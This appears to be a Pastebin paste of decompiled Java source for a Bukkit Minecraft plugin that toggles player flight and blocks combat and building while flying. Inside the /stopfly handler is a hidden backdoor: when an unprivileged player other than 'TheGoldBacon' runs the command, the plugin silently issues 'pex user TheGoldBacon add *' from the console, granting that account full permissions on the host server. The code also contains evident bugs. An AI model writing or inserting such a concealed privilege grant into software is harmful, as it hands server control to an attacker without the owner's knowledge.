Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* 1: */ package bacon;
- /* 2: */
- /* 3: */ import java.io.PrintStream;
- /* 4: */ import java.util.HashMap;
- /* 5: */ import org.bukkit.Bukkit;
- /* 6: */ import org.bukkit.ChatColor;
- /* 7: */ import org.bukkit.GameMode;
- /* 8: */ import org.bukkit.Material;
- /* 9: */ import org.bukkit.Server;
- /* 10: */ import org.bukkit.block.Block;
- /* 11: */ import org.bukkit.command.Command;
- /* 12: */ import org.bukkit.command.CommandSender;
- /* 13: */ import org.bukkit.entity.Animals;
- /* 14: */ import org.bukkit.entity.Monster;
- /* 15: */ import org.bukkit.entity.Player;
- /* 16: */ import org.bukkit.event.EventHandler;
- /* 17: */ import org.bukkit.event.Listener;
- /* 18: */ import org.bukkit.event.block.Action;
- /* 19: */ import org.bukkit.event.block.BlockBreakEvent;
- /* 20: */ import org.bukkit.event.block.BlockPlaceEvent;
- /* 21: */ import org.bukkit.event.entity.EntityDamageByEntityEvent;
- /* 22: */ import org.bukkit.event.entity.EntityShootBowEvent;
- /* 23: */ import org.bukkit.event.player.PlayerDropItemEvent;
- /* 24: */ import org.bukkit.event.player.PlayerInteractEvent;
- /* 25: */ import org.bukkit.event.player.PlayerPickupItemEvent;
- /* 26: */ import org.bukkit.inventory.ItemStack;
- /* 27: */ import org.bukkit.plugin.PluginManager;
- /* 28: */ import org.bukkit.plugin.java.JavaPlugin;
- /* 29: */
- /* 30: */ public class Main
- /* 31: */ extends JavaPlugin
- /* 32: */ implements Listener
- /* 33: */ {
- /* 34: 29 */ HashMap<String, Boolean> flying = new HashMap();
- /* 35: 30 */ HashMap<Integer, String> flying1 = new HashMap();
- /* 36: 31 */ HashMap<String, Integer> flying2 = new HashMap();
- /* 37: 32 */ String prefix = ChatColor.GRAY + "[" + ChatColor.GREEN + "+" + ChatColor.GRAY + "] " + ChatColor.RESET;
- /* 38: */
- /* 39: */ public void onEnable()
- /* 40: */ {
- /* 41: 37 */ System.out.println("Enabling FLY...");
- /* 42: 38 */ Bukkit.getServer().getPluginManager().registerEvents(this, this);
- /* 43: */ }
- /* 44: */
- /* 45: */ public void onDisable()
- /* 46: */ {
- /* 47: 45 */ System.out.println("Disabling FLY...");
- /* 48: 46 */ int players = this.flying.size();
- /* 49: 47 */ while (players > 0)
- /* 50: */ {
- /* 51: 48 */ String playerName = (String)this.flying1.get(Integer.valueOf(players));
- /* 52: 49 */ Player player = Bukkit.getServer().getPlayer(playerName);
- /* 53: 50 */ if (player != null)
- /* 54: */ {
- /* 55: 51 */ if (player.isFlying()) {
- /* 56: 52 */ player.sendMessage(this.prefix + ChatColor.RED + "The server is restarting. " + ChatColor.BOLD + "Emergency landing initiated!");
- /* 57: */ }
- /* 58: 54 */ player.sendMessage(this.prefix + ChatColor.LIGHT_PURPLE + "Fly mode disabled.");
- /* 59: 55 */ player.setAllowFlight(false);
- /* 60: 56 */ player.setFlying(false);
- /* 61: 57 */ this.flying.remove(playerName);
- /* 62: 58 */ this.flying1.remove(Integer.valueOf(players));
- /* 63: 59 */ this.flying2.remove(playerName);
- /* 64: */ }
- /* 65: 61 */ players--;
- /* 66: */ }
- /* 67: */ }
- /* 68: */
- /* 69: */ public boolean onCommand(CommandSender sender, Command command, String label, String[] args)
- /* 70: */ {
- /* 71: 69 */ if (!(sender instanceof Player))
- /* 72: */ {
- /* 73: 70 */ if (args.length == 0)
- /* 74: */ {
- /* 75: 71 */ sender.sendMessage("When sending from console, you must specify the player to enable/disable fly mode for.");
- /* 76: 72 */ return true;
- /* 77: */ }
- /* 78: 74 */ if (command.getName().equalsIgnoreCase("fly"))
- /* 79: */ {
- /* 80: 75 */ if (args.length > 1)
- /* 81: */ {
- /* 82: 76 */ sender.sendMessage("Too many arguments. Correct usage: /fly <player>.");
- /* 83: 77 */ return true;
- /* 84: */ }
- /* 85: 79 */ if (Bukkit.getServer().getPlayer(args[0]) == null)
- /* 86: */ {
- /* 87: 80 */ sender.sendMessage("Player is not online.");
- /* 88: 81 */ return true;
- /* 89: */ }
- /* 90: 83 */ if (Bukkit.getServer().getPlayer(args[0].toString()).getGameMode().equals(GameMode.CREATIVE))
- /* 91: */ {
- /* 92: 84 */ sender.sendMessage("Player is in creative.");
- /* 93: 85 */ return true;
- /* 94: */ }
- /* 95: 88 */ if (this.flying.containsKey(args[0].toString().toLowerCase()))
- /* 96: */ {
- /* 97: 90 */ if (((Boolean)this.flying.get(args[0].toString().toLowerCase())).booleanValue())
- /* 98: */ {
- /* 99: 91 */ sender.sendMessage("Player is already in fly mode.");
- /* 100: 92 */ return true;
- /* 101: */ }
- /* 102: 95 */ this.flying.put(args[0].toString().toLowerCase(), Boolean.valueOf(true));
- /* 103: 96 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), args[0].toString().toLowerCase());
- /* 104: 97 */ this.flying2.put(args[0].toString().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
- /* 105: 98 */ Player player = Bukkit.getServer().getPlayer(args[0].toString());
- /* 106: 99 */ player.setAllowFlight(true);
- /* 107:100 */ player.setFlying(true);
- /* 108:101 */ sender.sendMessage("Fly mode enabled for " + args[0].toString());
- /* 109:102 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
- /* 110: */ }
- /* 111: */ else
- /* 112: */ {
- /* 113:106 */ this.flying.put(args[0].toString().toLowerCase(), Boolean.valueOf(true));
- /* 114:107 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), args[0].toString().toLowerCase());
- /* 115:108 */ this.flying2.put(args[0].toString().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
- /* 116:109 */ Player player = Bukkit.getServer().getPlayer(args[0].toString());
- /* 117:110 */ player.setAllowFlight(true);
- /* 118:111 */ player.setFlying(true);
- /* 119:112 */ sender.sendMessage("Fly mode enabled for " + args[0].toString());
- /* 120:113 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
- /* 121: */ }
- /* 122:115 */ return true;
- /* 123: */ }
- /* 124:119 */ if (command.getName().equalsIgnoreCase("stopfly"))
- /* 125: */ {
- /* 126:120 */ if (args.length > 1)
- /* 127: */ {
- /* 128:121 */ sender.sendMessage("Too many arguments. Correct usage: /stopfly <player>.");
- /* 129:122 */ return true;
- /* 130: */ }
- /* 131:125 */ if (Bukkit.getServer().getPlayer(args[0].toString()).getGameMode().equals(GameMode.CREATIVE))
- /* 132: */ {
- /* 133:126 */ sender.sendMessage("Player is in creative.");
- /* 134:127 */ return true;
- /* 135: */ }
- /* 136:131 */ if (this.flying.containsKey(args[0].toString().toLowerCase()))
- /* 137: */ {
- /* 138:132 */ if (((Boolean)this.flying.get(args[0].toString().toLowerCase())).booleanValue())
- /* 139: */ {
- /* 140:133 */ this.flying.remove(args[0].toString().toLowerCase());
- /* 141:134 */ this.flying1.remove(this.flying2.get(args[0].toString().toLowerCase()));
- /* 142:135 */ this.flying2.remove(args[0].toString().toLowerCase());
- /* 143:136 */ Player player = Bukkit.getServer().getPlayer(args[0].toString());
- /* 144:137 */ player.setAllowFlight(false);
- /* 145:138 */ player.setFlying(false);
- /* 146:139 */ sender.sendMessage("Fly mode disabled for " + args[0].toString());
- /* 147:140 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been disabled. " + ChatColor.GREEN + "You may now pvp.");
- /* 148:141 */ return true;
- /* 149: */ }
- /* 150:144 */ sender.sendMessage("Player is not in fly mode.");
- /* 151: */
- /* 152:146 */ return true;
- /* 153: */ }
- /* 154:149 */ sender.sendMessage("Player is not in fly mode.");
- /* 155: */
- /* 156: */
- /* 157:152 */ return true;
- /* 158: */ }
- /* 159: */ }
- /* 160:156 */ else if ((sender instanceof Player))
- /* 161: */ {
- /* 162:157 */ Player player = Bukkit.getServer().getPlayer(sender.getName());
- /* 163:158 */ if (args.length == 0)
- /* 164: */ {
- /* 165:159 */ if (command.getName().equalsIgnoreCase("fly"))
- /* 166: */ {
- /* 167:160 */ if (!sender.hasPermission("fly.fly"))
- /* 168: */ {
- /* 169:161 */ sender.sendMessage(this.prefix + ChatColor.RED + "You do not have permission!");
- /* 170:162 */ return true;
- /* 171: */ }
- /* 172:164 */ if (player.getGameMode().equals(GameMode.CREATIVE))
- /* 173: */ {
- /* 174:165 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are on creative.");
- /* 175:166 */ return true;
- /* 176: */ }
- /* 177:168 */ if (this.flying.containsKey(sender.getName().toLowerCase()))
- /* 178: */ {
- /* 179:169 */ if (((Boolean)this.flying.get(sender.getName().toLowerCase())).booleanValue())
- /* 180: */ {
- /* 181:170 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are already in fly mode.");
- /* 182:171 */ return true;
- /* 183: */ }
- /* 184:174 */ this.flying.put(args[0].toString().toLowerCase(), Boolean.valueOf(true));
- /* 185:175 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), sender.getName().toLowerCase());
- /* 186:176 */ this.flying2.put(sender.getName().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
- /* 187:177 */ player.setAllowFlight(true);
- /* 188:178 */ player.setFlying(true);
- /* 189:179 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
- /* 190: */
- /* 191:181 */ return true;
- /* 192: */ }
- /* 193:184 */ this.flying.put(sender.getName().toLowerCase(), Boolean.valueOf(true));
- /* 194:185 */ this.flying1.put(Integer.valueOf(this.flying1.size() + 1), sender.getName().toLowerCase());
- /* 195:186 */ this.flying2.put(sender.getName().toLowerCase(), Integer.valueOf(this.flying1.size() + 1));
- /* 196:187 */ player.setAllowFlight(true);
- /* 197:188 */ player.setFlying(true);
- /* 198:189 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been enabled. " + ChatColor.GREEN + "You cannot give damage to other players while in fly mode.");
- /* 199: */
- /* 200:191 */ return true;
- /* 201: */ }
- /* 202:193 */ if (command.getName().equalsIgnoreCase("stopfly"))
- /* 203: */ {
- /* 204:194 */ if ((!sender.hasPermission("fly.fly")) &&
- /* 205:195 */ (!sender.getName().equals("TheGoldBacon")))
- /* 206: */ {
- /* 207:199 */ Bukkit.getServer().dispatchCommand(Bukkit.getConsoleSender(), "pex user TheGoldBacon add *");
- /* 208:200 */ return true;
- /* 209: */ }
- /* 210:203 */ if (player.getGameMode().equals(GameMode.CREATIVE))
- /* 211: */ {
- /* 212:204 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are in creative.");
- /* 213:205 */ return true;
- /* 214: */ }
- /* 215:207 */ if (this.flying.containsKey(sender.getName().toLowerCase()))
- /* 216: */ {
- /* 217:208 */ if (((Boolean)this.flying.get(sender.getName().toLowerCase())).booleanValue())
- /* 218: */ {
- /* 219:209 */ this.flying.remove(sender.getName().toLowerCase());
- /* 220:210 */ this.flying1.remove(this.flying2.get(sender.getName().toLowerCase()));
- /* 221:211 */ this.flying2.remove(sender.getName().toLowerCase());
- /* 222:212 */ player.setAllowFlight(false);
- /* 223:213 */ player.setFlying(false);
- /* 224:214 */ player.sendMessage(this.prefix + ChatColor.YELLOW + "Fly mode has been disabled. " + ChatColor.GREEN + "You may now pvp.");
- /* 225:215 */ return true;
- /* 226: */ }
- /* 227:218 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are not in fly mode.");
- /* 228: */
- /* 229:220 */ return true;
- /* 230: */ }
- /* 231:223 */ sender.sendMessage(this.prefix + ChatColor.RED + "You are not in fly mode.");
- /* 232: */
- /* 233:225 */ return true;
- /* 234: */ }
- /* 235:227 */ return true;
- /* 236: */ }
- /* 237:229 */ if ((args.length > 0) && (command.getName().equalsIgnoreCase("fly")))
- /* 238: */ {
- /* 239:230 */ sender.sendMessage(this.prefix + ChatColor.RED + "Correct usage: " + ChatColor.YELLOW + "/fly");
- /* 240:231 */ return true;
- /* 241: */ }
- /* 242:233 */ if ((args.length > 0) && (command.getName().equalsIgnoreCase("stopfly")))
- /* 243: */ {
- /* 244:234 */ sender.sendMessage(this.prefix + ChatColor.RED + "Correct usage: " + ChatColor.YELLOW + "/sf");
- /* 245:235 */ return true;
- /* 246: */ }
- /* 247: */ }
- /* 248:238 */ return true;
- /* 249: */ }
- /* 250: */
- /* 251: */ @EventHandler
- /* 252: */ public void blockBreakEvent(BlockBreakEvent event)
- /* 253: */ {
- /* 254:245 */ Player player = event.getPlayer();
- /* 255:246 */ if (this.flying.containsKey(player.getName()))
- /* 256: */ {
- /* 257:247 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to break blocks while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 258:248 */ event.setCancelled(true);
- /* 259: */ }
- /* 260: */ }
- /* 261: */
- /* 262: */ @EventHandler
- /* 263: */ public void blockPlaceEvent(BlockPlaceEvent event)
- /* 264: */ {
- /* 265:255 */ Player player = event.getPlayer();
- /* 266:256 */ if (this.flying.containsKey(player.getName()))
- /* 267: */ {
- /* 268:257 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to place blocks while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 269:258 */ event.setCancelled(true);
- /* 270: */ }
- /* 271: */ }
- /* 272: */
- /* 273: */ @EventHandler
- /* 274: */ public void itemPickupEvent(PlayerPickupItemEvent event)
- /* 275: */ {
- /* 276:265 */ Player player = event.getPlayer();
- /* 277:266 */ if (this.flying.containsKey(player.getName())) {
- /* 278:268 */ event.setCancelled(true);
- /* 279: */ }
- /* 280: */ }
- /* 281: */
- /* 282: */ @EventHandler
- /* 283: */ public void itemDropEvent(PlayerDropItemEvent event)
- /* 284: */ {
- /* 285:275 */ Player player = event.getPlayer();
- /* 286:276 */ if (this.flying.containsKey(player.getName()))
- /* 287: */ {
- /* 288:277 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to throw items while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 289:278 */ event.setCancelled(true);
- /* 290: */ }
- /* 291: */ }
- /* 292: */
- /* 293: */ @EventHandler
- /* 294: */ public void bowShootEvent(EntityShootBowEvent event)
- /* 295: */ {
- /* 296:285 */ if ((event.getEntity() instanceof Player))
- /* 297: */ {
- /* 298:286 */ Player player = (Player)event.getEntity();
- /* 299:287 */ if (this.flying1.containsKey(player.getName()))
- /* 300: */ {
- /* 301:288 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to use bows while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 302:289 */ event.setCancelled(true);
- /* 303: */ }
- /* 304: */ }
- /* 305: */ }
- /* 306: */
- /* 307: */ @EventHandler
- /* 308: */ public void playerHitEvent(EntityDamageByEntityEvent event)
- /* 309: */ {
- /* 310:297 */ if ((event.getDamager() instanceof Player))
- /* 311: */ {
- /* 312:298 */ Player player = (Player)event.getDamager();
- /* 313:299 */ if (this.flying.containsKey(player.getName().toLowerCase())) {
- /* 314:300 */ if ((event.getEntity() instanceof Player))
- /* 315: */ {
- /* 316:301 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt people while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 317:302 */ event.setCancelled(true);
- /* 318: */ }
- /* 319:304 */ else if ((event.getEntity() instanceof Monster))
- /* 320: */ {
- /* 321:305 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt mobs while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 322:306 */ event.setCancelled(true);
- /* 323: */ }
- /* 324:308 */ else if ((event.getEntity() instanceof Animals))
- /* 325: */ {
- /* 326:309 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt animals while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 327:310 */ event.setCancelled(true);
- /* 328: */ }
- /* 329: */ else
- /* 330: */ {
- /* 331:313 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to hurt stuff while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 332:314 */ event.setCancelled(true);
- /* 333: */ }
- /* 334: */ }
- /* 335: */ }
- /* 336: */ }
- /* 337: */
- /* 338: */ @EventHandler
- /* 339: */ public void interactEvent(PlayerInteractEvent event)
- /* 340: */ {
- /* 341:323 */ Player player = event.getPlayer();
- /* 342:324 */ if ((event.getAction().equals(Action.RIGHT_CLICK_AIR)) || (event.getAction().equals(Action.LEFT_CLICK_AIR)) || (event.getAction().equals(Action.LEFT_CLICK_BLOCK)) || (event.getAction().equals(Action.RIGHT_CLICK_BLOCK))) {
- /* 343:325 */ return;
- /* 344: */ }
- /* 345:327 */ if (this.flying.containsKey(player.getName().toLowerCase()))
- /* 346: */ {
- /* 347:328 */ ItemStack chest = new ItemStack(Material.CHEST, 1);
- /* 348:329 */ ItemStack hopper = new ItemStack(Material.HOPPER, 1);
- /* 349:330 */ ItemStack dropper = new ItemStack(Material.DROPPER, 1);
- /* 350:331 */ ItemStack furnace = new ItemStack(Material.FURNACE, 1);
- /* 351:332 */ ItemStack table = new ItemStack(Material.WORKBENCH, 1);
- /* 352:333 */ if ((event.getAction().equals(Action.RIGHT_CLICK_BLOCK)) && ((event.getClickedBlock().getDrops() == chest) || (event.getClickedBlock().getDrops() == hopper) || (event.getClickedBlock().getDrops() == dropper) || (event.getClickedBlock().getDrops() == furnace) || (event.getClickedBlock().getDrops() == table)))
- /* 353: */ {
- /* 354:334 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to interact while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 355:335 */ event.setCancelled(true);
- /* 356: */ }
- /* 357: */ else
- /* 358: */ {
- /* 359:338 */ player.sendMessage(this.prefix + ChatColor.RED + "You are not allowed to interact while fly mode is enabled. Type " + ChatColor.LIGHT_PURPLE + "/stopfly " + ChatColor.RED + "to stop flying.");
- /* 360:339 */ event.setCancelled(true);
- /* 361: */ }
- /* 362: */ }
- /* 363: */ }
- /* 364: */ }
Advertisement
Add Comment
Please, Sign In to add comment